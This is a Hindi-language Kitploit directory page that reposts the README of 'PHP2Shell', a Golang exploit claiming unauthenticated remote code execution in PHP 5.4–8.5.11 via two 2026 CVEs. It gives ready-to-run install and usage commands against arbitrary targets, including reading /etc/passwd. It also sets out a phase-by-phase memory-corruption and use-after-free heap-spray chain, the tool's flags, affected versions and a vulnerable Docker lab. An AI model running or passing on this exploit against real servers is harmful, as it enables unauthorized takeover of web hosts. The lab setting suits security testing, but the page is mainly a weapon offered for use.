Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-109618-exploit — [PHP2Shell] CVE-2026-109618 / CVE-2026-109619 के लिए Golang एक्सप्लॉइट: OOM करप्शन + session.upload_progress UAF के माध्यम से PHP 5.4–8.5.11 में अनऑथेंटिकेटेड RCE | Kitploit
उपकरण/GitHubGitHub/iamlucif3r/cve-2026-109618-exploit
मेमोरी फोरेंसिकभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरिमोट एक्सेस टूललैब और अभ्यास
GitHubiamlucif3r/cve-2026-109618-exploit

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-109618-exploit

[PHP2Shell] CVE-2026-109618 / CVE-2026-109619 के लिए Golang एक्सप्लॉइट: OOM करप्शन + session.upload_progress UAF के माध्यम से PHP 5.4–8.5.11 में अनऑथेंटिकेटेड RCE

रिपॉजिटरी देखें
21 दिन पहलेअभी तक समीक्षित नहीं

PHP2Shell — CVE-2026-109618 / CVE-2026-109619

PHP 5.4.0 – 8.5.11 (सभी वेब सर्वर) में अनधिकृत रिमोट कोड एक्ज़ीक्यूशन।
CVSS 9.2 क्रिटिकल · पैच 2026-10-21 · CISA KEV 2026-10-26

केवल अधिकृत सुरक्षा परीक्षण के लिए — उन सिस्टम पर जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है।


क्लोन किए बिना उपयोग करें

विकल्प A — go install (सबसे तेज़, Go 1.22+ आवश्यक)

go install github.com/IamLucif3r/CVE-2026-109618-exploit@latest
CVE-2026-109618-exploit -target http://TARGET -cmd "id"

Go इंस्टॉल नहीं है? इसे 30 सेकंड में इंस्टॉल करें:

# Debian / Ubuntu / Kali
sudo apt install -y golang-go

# then run go install as above

विकल्प B — पूर्व-निर्मित बाइनरी डाउनलोड करें (टैग किए गए रिलीज़ से)

पूर्व-निर्मित बाइनरी प्रत्येक GitHub Release के साथ संलग्न हैं।

# Linux x86-64 (Kali, Ubuntu, Debian, …)
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

# Linux ARM64
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

# macOS Apple Silicon
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

# macOS Intel
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

जब भी नया टैग पुश किया जाता है, GitHub Actions द्वारा बाइनरीज़ स्वचालित रूप से बनाई जाती हैं।
यदि curl एक छोटी फ़ाइल लौटाता है जिसमें "Not found" लिखा हो, तो अभी तक कोई रिलीज़ मौजूद नहीं है — इसके बजाय विकल्प A का उपयोग करें।


क्लोन करें + चलाएँ (अंतर्निहित लैब के साथ)

git clone https://github.com/IamLucif3r/CVE-2026-109618-exploit
cd CVE-2026-109618-exploit

make all            # start lab + run exploit in one shot
make exploit        # run exploit against lab (localhost:8888)
make exploit CMD="cat /etc/passwd"
make exploit CMD="uname -a"
make exploit TARGET=http://192.168.1.10 CMD="whoami"

यह क्या करता है

PHP में दो गंभीर मेमोरी-सुरक्षा बग हैं जो तैयार किए गए multipart/form-data HTTP POST अनुरोधों से ट्रिगर होते हैं:

CVEप्रकारट्रिगर
CVE-2026-109618मेमोरी करप्शन (OOM)बड़े multipart फ़ील्ड पार्सिंग के दौरान memory_limit को समाप्त कर देते हैं, आंशिक रूप से आरंभिक स्थिति पर longjmp() सक्रिय होता है
CVE-2026-109619Use-after-freePHP_SESSION_UPLOAD_PROGRESS फ़ील्ड किसी पिछले अनुरोध से मुक्त किए गए worker मेमोरी को पढ़ता है

किसी भी बग के लिए लॉगिन, किसी विशेष endpoint, या किसी एप्लिकेशन कोड की आवश्यकता नहीं है — ये किसी भी .php स्क्रिप्ट के चलने से पहले PHP इंजन के अंदर सक्रिय होते हैं।

पूर्ण तकनीकी विवरण के लिए, एनोटेटेड HTTP अनुरोधों सहित, docs/vulnerability.md देखें।


एक्सप्लॉइट कैसे काम करता है

Phase 1 (CVE-2026-109618)
  Send N large multipart POSTs → exhaust memory_limit → PHP longjmp()
  → worker's internal session/decoder state freed but NOT zeroed
  → stale pointers remain in the PHP worker heap

                     same worker process ↓

Phase 2 (CVE-2026-109619)
  POST with Cookie: PHPSESSID=<random>
        + PHP_SESSION_UPLOAD_PROGRESS field  ← fires before any app code
        + 128 KB file upload (fake PHP zval structs)
  → upload progress handler dereferences stale pointer → UAF
  → heap spray reclaims freed region → controlled write → RCE

सभी फ़्लैग

फ़्लैगडिफ़ॉल्टविवरण
-targetआवश्यकबेस URL, जैसे http://192.168.1.10
-path/index.phpPHP एंडपॉइंट पथ
-cmdidनिष्पादित करने के लिए OS कमांड
-modeautoauto / modphp / fpm
-workers8स्प्रे करने के लिए वर्कर स्लॉट
-oom-parts30चरण 1 में मल्टीपार्ट फ़ील्ड
-part-size204800प्रति फ़ील्ड बाइट्स (200 KB)
-spray-size131072हीप स्प्रे आकार (128 KB)
-timeout15sप्रति-अनुरोध टाइमआउट
-verbosefalseकच्चा प्रतिक्रिया बॉडी प्रिंट करें
-leak-onlyfalseकेवल मेमोरी लीक (ASLR विश्लेषण)

प्रभावित संस्करण

शाखाअंतिम असुरक्षितमें ठीक किया गया
PHP 8.28.2.348.2.35
PHP 8.38.3.358.3.36
PHP 8.48.4.268.4.27
PHP 8.58.5.118.5.12
PHP ≤ 8.1सभीकोई अपस्ट्रीम पैच नहीं — डिस्ट्रो बैकपोर्ट का उपयोग करें

लैब (असुरक्षित Docker वातावरण)

sandbox/ निर्देशिका में एक तैयार असुरक्षित लक्ष्य (PHP 8.4.26 + Apache mod_php) डिफ़ॉल्ट सेटिंग्स के साथ है जो दोनों CVE को उजागर करता है।

cd sandbox
docker compose up -d        # starts on :8888
open http://localhost:8888   # attack surface dashboard
docker compose down

Makefile त्वरित संदर्भ

make               show all commands
make all           start lab + run exploit (one shot)
make lab           start Docker lab
make lab-stop      stop Docker lab
make lab-logs      tail Apache/PHP error logs live
make lab-shell     open bash inside the container
make exploit       build & run against lab
make exploit-fpm   FPM mode, 16 workers
make leak          memory leak mode (ASLR analysis)
make build         build binary only
टूल डाउनलोड करें